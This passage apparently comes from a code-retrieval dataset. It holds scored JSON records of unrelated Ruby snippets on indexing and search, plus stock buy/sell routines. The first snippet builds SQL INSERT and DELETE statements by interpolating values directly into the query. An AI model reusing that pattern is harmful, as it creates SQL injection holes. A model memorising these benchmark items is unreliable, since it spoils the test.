search_field_name = \"#{column_name}.#{field_name}\"\n raise NoFieldForThatIndex unless self.send(\"#{column_name}_fields\").include?(field_name)\n class_name = self.name.underscore\n class_table_name = self.table_name\n index_table_name = \"document_indexes_for_#{class_table_name}\"\n #logger.debug \"DOCUMENT_FIELDS: declare_document_index invoked for \\\"#{column_name}\\\" column with \\\"#{field_name}\\\" field on #{class_name}\"\n self.send(\"document_indexes\").send(\"<<\", field_name)\n self.send(\"#{column_name}_indexes\").send(\"<<\", field_name)\n \n instance_eval <<-EOS\n def find_by_#{column_name}_#{field_name}(val)\n find(\n :all, \n :select=>\"*\",\n :from=>\"#{index_table_name}\",\n :conditions=>[\"`#{index_table_name}`.field = ? AND `#{index_table_name}`.value = ?\", \"#{search_field_name}\", val], \n :joins => \"LEFT JOIN `#{class_table_name}` ON `#{class_table_name}`.id = `#{index_table_name}`.doc_id\"\n )\n end\n def find_by_#{field_name}(val)\n find_by_#{column_name}_#{field_name}(val)\n end\n \n def find_with_#{column_name}(hash={})\n conditions = Array.new\n hash.each do |key, val|\n conditions.add_condition([\"`#{index_table_name}`.field = ? AND `#{index_table_name}`.value = ?\", \"#{search_field_name}\", val])\n end\n find(\n :all, \n :select=>\"*\", \n :from=>\"#{index_table_name}\", \n :conditions=>conditions,\n :joins=>\"LEFT JOIN `#{class_table_name}` ON `#{class_table_name}`.id = `#{index_table_name}`.doc_id\"\n )\n end\n EOS\n \n # after_save callback to update index\n define_method(\"update_document_index_#{column_name}_#{field_name}_after_save\") do\n #logger.debug \"DOCUMENT_FIELDS: update_document_index_after_save invoked for \\\"#{field_name}\\\"; not yet updating\"\n class_name = self.class.name.underscore\n class_table_name = self.class.table_name\n index_table_name = \"document_indexes_for_#{class_table_name}\"\n # TODO: Change INSERT behavior into UPDATE+INSERT/UPSERT behavior according to supported databases\n idx_id = ActiveRecord::Base.connection.insert(\"INSERT INTO `#{index_table_name}` (`doc_id`,`field`,`value`) VALUES (\"+self.id.to_s+\", \\\"\"+search_field_name.to_s+\"\\\", \\\"#{self.send(field_name).to_s}\\\")\")\n end\n after_save \"update_document_index_#{column_name}_#{field_name}_after_save\"\n \n # after_destroy callback to update index\n define_method(\"update_document_index_#{column_name}_#{field_name}_after_destroy\") do\n #logger.debug \"DOCUMENT_FIELDS: update_document_index_after_destroy invoked for \\\"#{field_name}\\\"\"\n class_name = self.class.name.underscore\n class_table_name = self.class.table_name\n index_table_name = \"document_indexes_for_#{class_table_name}\"\n num_del = ActiveRecord::Base.connection.delete(\"DELETE FROM `#{index_table_name}` WHERE `doc_id` = #{self.id}\")\n end\n after_destroy \"update_document_index_#{column_name}_#{field_name}_after_destroy\"\n \n end", "title": "" }, { "docid": "a1fcd261e2dc3aa01be3b02541621846", "score": "0.51360303", "text": "def to_field(field_name, *procs, &block)\n @index_steps << ToFieldStep.new(field_name, procs, block, Traject::Util.extract_caller_location(caller.first))\n end", "title": "" }, { "docid": "153c5d6a9982f304487cdfdb95dfd62d", "score": "0.51297635", "text": "def hash_key\n @hash_key ||= \"#{Von.config.namespace}:counters:#{@field}\"\n end", "title": "" }, { "docid": "c210343cafab43d18335628bd8c4ec35", "score": "0.51138633", "text": "def build_index\n increment = 500\n offset = 0\n while (records = find(:all, :limit => increment, :offset => offset)).size > 0\n #p \"offset is #{offset}, increment is #{increment}\"\n index = SearchIndex.new(aai_config[:index_file], aai_config[:index_file_depth], aai_config[:fields], aai_config[:min_word_size])\n offset += increment\n index.add_records(records)\n index.save\n end\n end", "title": "" }, { "docid": "3286ea263fdb485fec594f6842fdab42", "score": "0.5097252", "text": "def build_jump_table\n @jumptable = {}\n @i.each_index{|i|\n @jumptable[@i[i].payload[:token_id]] = i\n }\n end", "title": "" }, { "docid": "a31892b70e4ab7bd45d3267309b22ea1", "score": "0.5083627", "text": "def field_ind(tag, which_ind, dedup=true)\n lambda do |record, accumulator, _context|\n ind_vals = []\n record.each_by_tag(tag) do |fld|\n case which_ind\n when '1', 1\n ind_vals << fld.indicator1.to_s\n when '2', 2\n ind_vals << fld.indicator2.to_s\n end\n end\n if dedup\n accumulator.replace ind_vals.uniq\n else\n accumulator.replace ind_vals\n end\n end\n end", "title": "" }, { "docid": "34eb8c5cac207d54254e08efaf0ba2fa", "score": "0.5081402", "text": "def library_index\n idx = {}\n # create indicies\n @dict.each do |name,word|\n dir = File.dirname(word.file)\n if idx[dir].nil?\n idx[dir] = {}\n end\n idx[dir][name] = File.expand_path(word.file)\n end\n @macro_file.each do |name,file|\n dir = File.dirname(file)\n if idx[dir].nil?\n idx[dir] = {}\n end\n idx[dir][name] = [ \"MACRO\", File.expand_path(file) ]\n end\n idx\n end", "title": "" }, { "docid": "23b0d529d7fbd928ef844e0b90b1d46d", "score": "0.5078428", "text": "def addFields index, data\n @fields[index.to_sym] = data\n end", "title": "" }, { "docid": "ea032e6b86a80f10cf5e9b0520684fdb", "score": "0.50666064", "text": "def build(field_name)\n metadata = @model_decorator.index_metadata_of field_name\n label = @model_decorator.index_label_of field_name\n return label unless sortable? field_name, metadata\n\n sort_field_name = metadata[:sort_field_name] || field_name\n url_params = next_builder.next_params sort_field_name\n url = url_for url_params.merge(with_query: true)\n index_link(model_class, options: { url: url }) { label }\n end", "title": "" }, { "docid": "da977358c0382ae5a885c81146fb9f79", "score": "0.504152", "text": "def find_hitlist(query, invindex)\n hit_list = Array.new\n hit_hash = Hash.new 0\n temp_list = Array.new\n first = 0\n\n query.each do |term|\n #puts term\n if invindex.has_key?(term)\n # puts invindex[term].keys\n if (first == 0)\n hit_list |= invindex[term].keys\n hit_list.each {|doc| hit_hash[doc] += 1}\n first = 1\n else\n #if (mode == \"or\")\n # hit_list |= invindex[term][1].keys\n # elsif (mode == \"and\")\n # hit_list &= invindex[term][1].keys\n # elsif (mode == \"most\")\n temp_list = invindex[term][1].keys\n temp_list.each {|doc| hit_hash[doc] += 1}\n #puts temp_list.inspect\n end\n \n else\n \n\n # if (mode == \"most\")\n #initizlie hit_list\n hit_list = []\n hit_hash.each {|k, v| hit_list.push(k) if v > (query.length / 2)}\n end\n\n return hit_list\nend\nend", "title": "" }, { "docid": "36a4ac35774b4d3c8008163052b78b5c", "score": "0.5041318", "text": "def indexed_hash(input, io)\n hash_index[indexing_key(input)] ||= PDF::Reader::ObjectHash.new(io)\n end", "title": "" }, { "docid": "e879cc50dbcac6697f1c6595d1d01315", "score": "0.50405407", "text": "def hash_index\n @hash_index ||= {}\n end", "title": "" }, { "docid": "b138ff694eca2b3b6a545a1c134e9a66", "score": "0.5028985", "text": "def index_info(data)\n\t data.split(ARG_GROUP_DELIMITER).each do |r|\n\t\t\t database_name, indexrelid, tableoid, indnatts, indkey, indisunique = r.split(/#{ARG_DELIMITER}/, -1)\n\t\t\t\n\t\t\t database_id = get_database_id(database_name)\n\t\t\t table = Table.where('database_id = ? and table_oid = ?', database_id, tableoid).first\n\t\t table_id = nil\n\t\t table_id = table.id if !table.nil?\n\t\t \n\t\t\t i = Index.where('database_id = ? and index_oid = ?',database_id, indexrelid).first\n\t\t\t i.update_attributes(:indnatts => indnatts, :indkey => indkey, :indisunique => indisunique, :table_id => table_id)\n\t\n\t\t end\n\t\t return \"OK+\"\n\t end", "title": "" }, { "docid": "c548cdbb3e2de6ef9f6f37541d08f1fb", "score": "0.5028013", "text": "def read_index(cursor)\n n_cols = cursor.name(\"n_cols\") { cursor.read_uint16 }\n n_uniq = cursor.name(\"n_uniq\") { cursor.read_uint16 }\n cols = n_cols.times.collect do\n info = cursor.name(\"field_info\") { cursor.read_uint16 }\n IndexFieldInfo.new(\n mtype: ((info + 1) & 0x7fff) <= 1 ? :BINARY : :FIXBINARY,\n prtype: (info & 0x8000).zero? ? nil : :NOT_NULL,\n length: info & 0x7fff\n )\n end\n\n Index.new(n_cols: n_cols, n_uniq: n_uniq, cols: cols)\n end", "title": "" }, { "docid": "fdfbea980d0c73d5b69fe41f8a5aa6dd", "score": "0.5026624", "text": "def make_line_hash(values)\n entire_line = values.shift\n hash = Hash[ *@log_fields.zip( values ).flatten ]\n hash[:line] = entire_line.strip\n hash\n end", "title": "" }, { "docid": "09ba3a03c92301b1ba2d1867a71d29ab", "score": "0.5020341", "text": "def index_field_labels document=nil\n # XXX DEPRECATED\n Hash[*index_fields(document).map { |key, field| [key, field.label] }.flatten]\n end", "title": "" }, { "docid": "ce53b1fa00a35ee2481da55111305d1f", "score": "0.50195915", "text": "def create_index(field_or_spec, unique=false)\n @db.create_index(@name, field_or_spec, unique)\n end", "title": "" }, { "docid": "ce53b1fa00a35ee2481da55111305d1f", "score": "0.50195915", "text": "def create_index(field_or_spec, unique=false)\n @db.create_index(@name, field_or_spec, unique)\n end", "title": "" }, { "docid": "f7331feb4476ebc287aeda285abf775e", "score": "0.5016616", "text": "def count_x_field (arch_table_list, field_idx)\n return arch_table_list.count {|arch_table| arch_table[\"field\"][field_idx].include?('X') }\nend", "title": "" }, { "docid": "263261278675bd520890811db17c5100", "score": "0.5000797", "text": "def file_name_and_line\n file, line = log.file_name_and_line\n return unless file\n\n hash[:file] = file\n hash[:line] = line.to_i\n end", "title": "" }, { "docid": "972e25d37e440f59a69cb5570ebcaa23", "score": "0.50001925", "text": "def indices(lines); end", "title": "" }, { "docid": "972e25d37e440f59a69cb5570ebcaa23", "score": "0.50001925", "text": "def indices(lines); end", "title": "" }, { "docid": "4392e7b354aed9dcfec7f71f0f2ee033", "score": "0.49964574", "text": "def find_record_indices(search_index, entity, field, search_term)\n return [] unless search_index && search_index[entity] && search_index[entity][field]\n search_index[entity][field][search_term] || []\n end", "title": "" }, { "docid": "c82f722474503bfaa2166b6755fa4b63", "score": "0.49805444", "text": "def build_fields\n fields = @fields\n @solr.build do\n fields.each do |field|\n fulltext field.value do\n fields field.kind\n end\n end\n end\n end", "title": "" }, { "docid": "8df9b37266ed767a4792d31cfab57a80", "score": "0.49805123", "text": "def log_index\n if state.split.count > 1\n first = state.split[0].upcase\n rest = state.split[1..-1].map { |s| s[0] }.join('-').upcase\n \"#{first}-#{rest}\"\n else\n state.upcase\n end.center(13)\n end", "title": "" }, { "docid": "fae0a590baba71b74ffc6cf61820333f", "score": "0.49798825", "text": "def index_field_names\n Blacklight.config[:index_fields][:field_names]\n end", "title": "" }, { "docid": "4dd14697f71a3a74751a84c144fedc86", "score": "0.4979855", "text": "def indexes(table, stream); end", "title": "" }, { "docid": "6518d7318b1d472eacba579a2c586ed2", "score": "0.4979847", "text": "def build_field_definitions(key) # rubocop:disable Metrics/AbcSize\n field_nodes = schema.xpath(\".//record[@identifier='#{key}']/fields/field\")\n offset = 0\n field_nodes.each do |field_node|\n len = field_node['size'].to_i\n rec = OpenStruct.new(name: field_node['name'].to_s.to_sym,\n offset: offset,\n length: len,\n required: field_node['required'] == 'true',\n trim: field_node['trim'] == 'true',\n format: field_node['format'])\n rec[:default] = field_node.attributes['default'].to_s if field_node.attributes['default']\n raise \"There is already a rule for #{field_node['name']} in #{flow_type.downcase}.xml for #{key}. Please make it unique\" unless record_definitions[key][field_node['name'].to_s.to_sym].nil?\n\n record_definitions[key][field_node['name'].to_s.to_sym] = rec\n offset += len\n end\n # Idea: perhaps build a Dry:Schema for validation?\n end", "title": "" }, { "docid": "c89684485a548a6204ba50ecb601dbcf", "score": "0.49785233", "text": "def test_field_get_index\n value_ = ::Versionomy.create(:major => 2, :tiny => 1, :release_type => :beta, :beta_version => 3)\n assert_equal(2, value_[0])\n assert_equal(0, value_[1])\n assert_equal(1, value_[2])\n assert_equal(0, value_[3])\n assert_equal(:beta, value_[4])\n assert_equal(3, value_[5])\n assert_equal(0, value_[6])\n end", "title": "" }, { "docid": "5b904b1aa3103256c75fc3d2aeedbe21", "score": "0.4976229", "text": "def create_table_type_index\n create_table_index TABLE_TYPE_INDEX\n Logger.<<(__FILE__,\"INFO\",\"Created table type index for monitors ...\")\n end", "title": "" }, { "docid": "521bf28ec592908996363b52bba44753", "score": "0.49725083", "text": "def _create_obj_index(key)\n Digest::SHA1.hexdigest(key)[0..1]\n end", "title": "" }, { "docid": "a6fb71aa1b7f3649882af4b77dfa1d36", "score": "0.4968313", "text": "def build_index_entry(index_time)\n\t\tif index_time < time_range[0]\n\t\t :before\n\t\telsif index_time > time_range[1]\n\t\t :after\n\t\telse\n\t\t @position\n\t\tend\n\t end", "title": "" }, { "docid": "1d70f751b2366d253b18cdcb6dfba989", "score": "0.4967434", "text": "def indexes_for(key)\n indexes = []\n @opts[:hashes].times do |i|\n indexes.push @opts[:identifier] + \":\" + (Zlib.crc32(\"#{key}:#{i+@opts[:seed]}\") % @opts[:size]).to_s\n end\n\n indexes\n end", "title": "" }, { "docid": "1d70f751b2366d253b18cdcb6dfba989", "score": "0.4967434", "text": "def indexes_for(key)\n indexes = []\n @opts[:hashes].times do |i|\n indexes.push @opts[:identifier] + \":\" + (Zlib.crc32(\"#{key}:#{i+@opts[:seed]}\") % @opts[:size]).to_s\n end\n\n indexes\n end", "title": "" }, { "docid": "fbc4701cf21af432e4c8d79de27ed81e", "score": "0.49642202", "text": "def initialize_index_stucture\n @index = Hash.new do |hash, word|\n hash[word] =\n {\n weights: Hash.new(BigDecimal.new(0)),\n idf: BigDecimal.new(0)\n }\n end\n end", "title": "" }, { "docid": "6187c60d2b2eeda10b7fee50fc937e74", "score": "0.49623036", "text": "def search_indices\n indices = Hash.new\n indices[:crn] = 0\n indices[:name] = 1\n indices[:section] = 2\n indices[:title] = 3\n indices[:credits] = 4\n indices[:instructor] = 5\n indices[:seats] = 6\n indices[:days] = 7\n indices[:time] = 8\n indices[:room] = 9\n indices[:dates] = 10\n \n return indices\n end", "title": "" }, { "docid": "57672780fc059e004f9d73f8f484370f", "score": "0.49619484", "text": "def index_names (date, hot, cold)\n raise 'invalid date object' unless date.is_a?(Time)\n\n indices = {}\n indices[:hot] = \"#{hot}#{date.strftime('%Y.%m.%d')}\"\n indices[:cold] = \"#{cold}#{date.strftime('%Y.%m.%d')}\"\n\n return indices\nend", "title": "" }, { "docid": "4e1a2521af0636f437d7d5022ad34a14", "score": "0.4947884", "text": "def build_field_order\n @edit[:new][:field_order] = []\n @edit[:new][:fields].each do |f|\n if @edit[:new][:pivot] && @edit[:new][:pivot].by1 != ReportHelper::NOTHING_STRING && # If we are doing pivoting and\n @edit[:pivot_cols].key?(f.last) # this is a pivot calc column\n MiqReport::PIVOTS.each do |c|\n calc_typ = c.first\n @edit[:new][:field_order].push([f.first + \" (#{calc_typ.to_s.titleize})\", f.last + \"__\" + calc_typ.to_s]) if @edit[:pivot_cols][f.last].include?(calc_typ)\n end\n else\n @edit[:new][:field_order].push(f)\n end\n end\n end", "title": "" }, { "docid": "9a618f571510da90835b3f330ef64a2e", "score": "0.4945443", "text": "def search_index(search_phrase, field_names = [], index_dir=search_index_dir)\n index = Index.new(:path => index_dir)\n results = []\n total_hits = index.search_each(search_phrase) do |doc_id, score|\n fields = {}\n field_names.each do |fieldname|\n fields[fieldname] = index[doc_id][fieldname] \n end\n results << fields\n end\n\n# puts \"#{total_hits} matched your query:\\n\" + results.join(\"\\n\")\n index.close()\n results\n end", "title": "" }, { "docid": "714b3f73bdeb0728c27bf83109afaf14", "score": "0.49398646", "text": "def to_hash\n return @real_hash unless @field_indexes\n @real_hash ||= {}\n @field_indexes.each_pair {|name, index| @real_hash[name] = fetch_by_index(index)}\n @field_indexes = nil\n @real_hash\n end", "title": "" }, { "docid": "2891089c41f36e2a89916e9abc04ac3d", "score": "0.49329895", "text": "def field_name\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 22 )\n return_value = FieldNameReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n field_name_start_index = @input.index\n\n root_0 = nil\n identifier190 = nil\n\n\n success = false # flag used for memoization\n\n begin\n # rule memoization\n if @state.backtracking > 0 and already_parsed_rule?( __method__ )\n success = true\n return return_value\n end\n root_0 = @adaptor.create_flat_list\n\n\n # at line 189:4: identifier\n @state.following.push( TOKENS_FOLLOWING_identifier_IN_field_name_1098 )\n identifier190 = identifier\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, identifier190.tree )\n end\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n success = true\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 22 )\n memoize( __method__, field_name_start_index, success ) if @state.backtracking > 0\n\n end\n \n return return_value\n end", "title": "" }, { "docid": "642f672f3488bbe5504b44e3bc406c8b", "score": "0.49328247", "text": "def platform_field_key(field); end", "title": "" }, { "docid": "6fd9d2f2981c15e3bcf5d00b3c387908", "score": "0.4926348", "text": "def generate_index_hash(board)\n index_hash = Hash.new\n board.each_with_index do |row, y|\n row.each_with_index do |letter, x|\n index_hash[[y,x]] = letter\n end\n end\n index_hash\n end", "title": "" }, { "docid": "a6533d8bdbee018a1f8e995c3a6842ca", "score": "0.49255487", "text": "def create_index_attribute_for_index_wizard(params)\r\n print \"LOG: begin: create_index_attribute_for_index_wizard #{params['name']} - #{params['index_id']}\\n\" if @log_name\r\n print \"LOG: params: #{params} \\n\" if @log_param\r\n \r\n name = params['name']\r\n \r\n function_params = {'name' => name, 'index_id' => params['index_id'],\r\n 'index_navigation_attribute_index' => params['current_index']}\r\n create_index_attribute_for_index(function_params)\r\n \r\n val = get_context_attr_wizard({:id => params['current_index']})[:result]\r\n \r\n anchor_att = val['rows'][0]\r\n \r\n if params['update_attribute'] then\r\n \r\n attr_values = anchor_att['cell'];\r\n update_params = {\r\n 'index_id' => params['current_index'],\r\n 'id' => attr_values[0],\r\n 'name' => attr_values[1],\r\n 'label_expression' => attr_values[2],\r\n 'target_context' => params['target'],\r\n 'target_node_expression' => '',\r\n 'index_position' => attr_values[5]\r\n }\r\n if params['anchor_type'] == 'list' then \r\n delete_context_anchor_attribute_for_index_wizard(update_params)\r\n update_params['target'] = params['target']\r\n create_index_anchor_attribute_for_index_wizard(update_params)\r\n elsif params['anchor_type'] != 'details from index' \r\n update_context_anchor_attribute_for_index_wizard(update_params)\r\n end\r\n \r\n # if params['anchor_type'] == 'details from index' then\r\n # params['parameter_expression'] = 'self'\r\n # end\r\n \r\n anchor = get_context_attr_wizard({:id => params['anchor_index']})[:result]['rows'][0]\r\n anchor_params = {'anchor_id' => anchor['id'], 'name' => 'context_param', 'expression' => params['parameter_expression']}\r\n create_attribute_context_parameters_wizard(anchor_params)\r\n \r\n end\r\n\r\n=begin \r\n parameter_expression = params['parameter_expression'] || 'parameters[:context_param]'\r\n function_params = {'anchor_id' => anchor_att['id'], 'name' => 'context_param', 'expression' => parameter_expression}\r\n create_attribute_context_parameters_wizard(function_params)\r\n=end \r\n print \"LOG: end: create_index_attribute_for_index_wizard \\n\" if @log_name\r\n\r\n return {:status => true, :result => {}}\r\n\r\n end", "title": "" }, { "docid": "a773172339f227c790c8b7efa555b2a9", "score": "0.49251992", "text": "def index_fields document=nil\n filter_fields blacklight_config.index_fields, document\n end", "title": "" }, { "docid": "a8670ae4dcface660d360aa29ba40b14", "score": "0.49204832", "text": "def initFieldHash()\n fieldhash = Hash.new();\n fieldhash['ts'] = nil;\n fieldhash['ant'] = nil;\n fieldhash['state'] = 0;\n fieldhash['DriveBoxTemp'] = -99;\n fieldhash['ControlBoxTemp'] = -99;\n fieldhash['PAXBoxTemp'] = -99;\n fieldhash['RimBoxTemp'] = -99;\n fieldhash['ADC01'] = -99;\n fieldhash['ADC02'] = -99;\n fieldhash['ADC03'] = -99;\n fieldhash['ADC04'] = -99;\n fieldhash['ADC07'] = -99;\n fieldhash['ADC08'] = -99;\n fieldhash['ADC09'] = -99;\n fieldhash['ADC10'] = -99;\n fieldhash['ADC11'] = -99;\n fieldhash['CryoRejTemp'] = -99;\n fieldhash['CryoTemp'] = -99;\n fieldhash['CryoPower'] = -99;\n return fieldhash;\nend", "title": "" }, { "docid": "d4c4ca638228793cd24654d1bd8db2ca", "score": "0.4908136", "text": "def index(args)\n conf = args.last.kind_of?(Hash) ? args.pop : {}\n\n args.uniq.each do |field|\n @_index_type[field.to_s] = conf[:type] || :exact\n @_field_types[field.to_s] = conf[:field_type] || String\n end\n end", "title": "" }, { "docid": "fd438e98e7d94b82a828c83809cdb7bb", "score": "0.49076417", "text": "def generate_index_name(type_name, sorted_allowed_groups, sorted_used_groups)\n groups = sorted_allowed_groups.map do |group|\n # order keys of each group object alphabetically to ensure unique json serialization\n Hash[group.sort_by { |key, _| key }].to_json\n end\n Digest::MD5.hexdigest (type_name + \"-\" + groups.join(\"-\"))\n end", "title": "" }, { "docid": "61057aff6d6d10834378e2b3737fdf1a", "score": "0.4906877", "text": "def make_index\n @triples.sort!\n\n @index = {}\n @triples.each { |x| @index[x.oid] = x }\n end", "title": "" } ]
bccf204ab0948c1cc40341d43e0c86da
many transactions as you may like, but you must sell before you buy again. This problem has very poor instructions attached to it. We are able to hold onto one stock at a time. We are able to sell and purchase on the same day. As such, all we need to do is sell whenever the price increases between two days.
[ { "docid": "8dade0beab7d12dfe51aab91558b40d6", "score": "0.0", "text": "def max_profit(prices)\n i = 0\n profit = 0\n while i < prices.length - 1\n if prices[i + 1] > prices[i]\n profit += prices[i + 1] - prices[i]\n end\n i += 1\n end\n profit\nend", "title": "" } ]
[ { "docid": "5d9d60a3b0f649b650ccfc9c7ec13f45", "score": "0.73807085", "text": "def stock_seller(stock_list)\n # setting up. We initialize max_profit to be the very first transaction we can make\n # this way, we can make a decision if we have to sell at a loss\n max_profit = stock_list[1] - stock_list[0]\n min_price = stock_list.first\n \n stock_list.each_with_index do |current_price, time|\n # skip the possiblity of doing anything else on the first day\n # no buying and selling on the same day!\n next if time == 0\n difference = current_price - min_price\n if difference > max_profit\n negative_profit = false\n max_profit = difference\n end\n #it is important to set min price here, otherwise we can just sell to ourselves if\n #we are in the negative,\n if current_price < min_price\n min_price = current_price\n end\n end\n \nmax_profit\nend", "title": "" }, { "docid": "b6290ae3c6b73316d7566f440d30494e", "score": "0.727634", "text": "def trade\n price = @yahoo_api.get_latest_price(\"AAPL\")\n # Buy if cheap enough\n if price < 0.2\n @ib_api.buy(\"AAPL\", 100, price)\n end\n # Sell if expensive enough\n if price > 0.4 \n @ib_api.sell(\"AAPL\", 100, price)\n end\n end", "title": "" }, { "docid": "2c15e6cc7d6d3a40f14a00d000d290b8", "score": "0.7205137", "text": "def new_buy(stock_price, stock_volume, user, user_stock)\n transaction_total = (stock_price * stock_volume) + Order::TRANSACTION_FEE\n transaction_total *= -1 # negative amount for buys\n buy = Buy.new(user: user, user_stock: user_stock, volume: stock_volume)\n buy.price = stock_price\n buy.value = transaction_total\n buy.save!\n buy\nend", "title": "" }, { "docid": "f354e409a71aa45128d91537d79c6799", "score": "0.70709145", "text": "def new_short_sell_borrow(stock_price, stock_volume, user, user_stock)\n transaction_total = (stock_price * stock_volume) + Order::TRANSACTION_FEE\n transaction_total *= -1 # negative amount for buys\n short_sell_borrow = ShortSellBorrow.new(user: user, user_stock: user_stock, volume: stock_volume)\n short_sell_borrow.price = stock_price\n short_sell_borrow.value = transaction_total\n short_sell_borrow.save!\n short_sell_borrow\nend", "title": "" }, { "docid": "6918654395d8c6a644acd52bed020182", "score": "0.6967485", "text": "def sell units,company_id,user_id\n\t\tset_values units,company_id,user_id\n\t\t#check if any one ready to buy\n\t\tsold_stock_count = ApplicationController.helpers.sell_stock @company.id,@units\n\t\tputs \"-=-=-=-=-=- currently sold stock units #{sold_stock_count}\"\n\t\tremaining_quantity = units - sold_stock_count\n\t\tputs \"-=-=-=-=-=- remaining quantity units to be sold #{remaining_quantity}\"\n\t\tremaining_quantity = remaining_quantity <= 0 ? 0 : remaining_quantity\n\t\tself.update_attributes(user_id: @user.id,company_id: @company.id,quantity: units,stock_type: 1,remaining_quantity: remaining_quantity ,status: remaining_quantity == 0 ? 1 : 0)\n\t\t# puts '-=-=-=-=-==-=--=-===-=-=2 sell'\n\t\t(0...self.remaining_quantity).each do |live_stock|\n\t\t\tLiveStock.create(user_id: @user.id,company_id: @company.id,quantity: 1,stock_type: 1,remaining_quantity: 1,status: 0,stock_exchange_id: self.id)\n\t\tend\n\tend", "title": "" }, { "docid": "7f3cd4ad61010e8ec5a38833701967d6", "score": "0.68847847", "text": "def trade(ticker, bar)\n # this bar's price\n price = account.broker.exchange.quote(ticker, bar)\n\n # try to buy the given ticker if we aren't holding any shares\n if account.portfolio[ticker] == 0 # we have zero holdings of the given ticker\n last_hold_time = if @last_purchase[ticker][:buy_bar] && @last_purchase[ticker][:sell_bar]\n @last_purchase[ticker][:buy_bar] - @last_purchase[ticker][:sell_bar] # compute the last hold-time\n else\n 0\n end\n \n # Wait for a time interval equal to gamma * HT to pass (cool-down period) OR Price < P to buy more:\n # if we have never purchased the given stock/ticker,\n # OR the current price is less than the price at which we last purchased this stock,\n # OR (the time elapsed since our last sell-date is greater than or equal to the minimum cool-down duration\n # AND the time elapsed since our last sell-date is greater than or equal to gamma * the last hold-time duration)\n if(!@last_purchase.key?(ticker) || \n price < @last_purchase[ticker][:price] || \n ((t = (@last_purchase[ticker][:sell_bar] - bar)) >= @min_cooldown && \n t >= @gamma * last_hold_time))\n \n s = account.buy_amap(ticker, bar, amount_per_company)\n @last_purchase[ticker] = {price: price, buy_bar: bar}\n puts \"bought #{s} shares of #{ticker} on #{account.broker.exchange.bar(ticker, bar).date}\" if $DEBUG\n end\n else # try to sell our holdings of the given ticker\n # compute t, the return multiplier, given the interval between now and last purchase of the given stock (ticker)\n t = @fn_t.call(@last_purchase[ticker][:buy_bar] - bar)\n\n # compute alpha, given the value t, to determine the percentage gain multiplier\n alpha = @fn_alpha.call(t)\n\n puts \"t = #{t}\", \"alpha = #{alpha}\" if $DEBUG\n\n puts \"price of #{ticker} on #{account.broker.exchange.bar(ticker, bar).date} is #{price}\" if $DEBUG\n \n # if trading price is above (1+alpha(i))*P, sell\n if(price > (1.0 + alpha) * @last_purchase[ticker][:price])\n s = account.sell_all(ticker, bar)\n @last_purchase[ticker][:sell_bar] = bar\n puts \"sold #{s} shares of #{ticker} on #{account.broker.exchange.bar(ticker, bar).date}\" if $DEBUG\n end\n end\n \n puts \"account: #{account.to_s(bar)}\" if $DEBUG\n end", "title": "" }, { "docid": "72666b4ed91b2b2200261af9646e76d3", "score": "0.68277127", "text": "def buy_stock\n end", "title": "" }, { "docid": "1cbbaec99bba7cda656300de8a9f6f64", "score": "0.681085", "text": "def update_tobuy\n\n # we computed how many each univ needs elsewhere\n total = num_needed = [0, univ_inventory_infos.last.shortfall_one_week.to_f].max.to_i\n\n # only try to buy from good vendors\n prods = products.reject(&:hostile?)\n num_prods = prods.size.to_f\n num_good = prods.map { |p| p.num_circulating_copies }.sum\n\n # what's the target quantity for each product?\n # if we already have\n # prod1 -> 1 copy\n # prod2 -> 2 copies\n # prod3 -> 10 copies\n # ...and we need 5 new copies, then we're aiming for 18 copies total, and split evenly that'd be\n # prod1 -> 6 copies\n # prod2 -> 6 copies\n # prod3 -> 6 copies\n # ... so our \"target\" is 6 copies for each product\n #\n # XYZFIX P2 - can already see a bug here - we can't take prod3\n # down from 10, so our target is actually:\n # prod1 -> 4 copies\n # prod2 -> 4 copies\n # prod3 -> 10 copies\n #\n target_quant = (num_good + num_needed) / num_prods\n \n @@logger.info \" * #{sprintf(\"%-42s\", name)} - spreading #{num_needed} across #{num_prods.to_i} titles\" \n return if num_needed <= 0 \n \n # We want to add copies of things we're short of. \n # Sort the products with products with 0 copies up front, and prods w 100 copies at the end\n #\n prods.sort { |p1, p2| p1.num_circulating_copies <=> p2.num_circulating_copies }.each do |p|\n next if num_needed <= 0 \n \n num_to_add = (target_quant - p.num_circulating_copies ).round.to_i\n num_to_add = [num_to_add, num_needed].min.to_i\n \n if (num_to_add > 0) \n @@logger.info \" * adding #{num_to_add} (#{p.tobuy.quant} -> #{p.tobuy.quant + num_to_add}) to #{p.id} / #{p.name}\"\n \n # belt-and-suspenders\n p.update_tobuy if p.tobuy.nil?\n\n # update the tobuy\n #\n tb = p.tobuy \n tb.update_attributes!(:quant => (tb.quant + num_to_add))\n \n # note that we've applied some of the to-buy juice to this\n # product; less for next product\n #\n num_needed -= num_to_add\n end\n \n end\n\n return(total)\n end", "title": "" }, { "docid": "bbb1fa56c52671039980e5a7a95a7d52", "score": "0.67847264", "text": "def buy units,company_id,user_id\n\t\tset_values units,company_id,user_id\n\t\t#stock_type 0 is buy, 1 is sell\n\t\t#buy stock from if any one selling\n\t\tbought_stock = ApplicationController.helpers.buy_stock @company.id,@units\n\t\tputs \"-=-=-=-=-=- currently bought stock units #{bought_stock}\"\n\t\tremaining_quantity = units - bought_stock\n\t\tputs \"-=-=-=-=-=- remaining quantity units to buy #{remaining_quantity}\"\n\t\tremaining_quantity = remaining_quantity <= 0 ? 0 : remaining_quantity\n\t\tself.update_attributes(user_id: @user.id,company_id: @company.id,quantity: units,stock_type: 0,remaining_quantity: remaining_quantity ,status: remaining_quantity == 0 ? 1 : 0)\n\n\t\t(0...self.remaining_quantity).each do |live_stock|\n\t\t\tLiveStock.create(user_id: @user.id,company_id: @company.id,quantity: 1,stock_type: 0,remaining_quantity: 1,status: 0,stock_exchange_id: self.id)\n\t\tend\t\t\n\tend", "title": "" }, { "docid": "d10e1b0ee05e34bca00953ac27cf97b5", "score": "0.67698205", "text": "def buy_process\n user_current_money = User.find(self.user_id).money\n #check payableness\n return false if user_current_money < 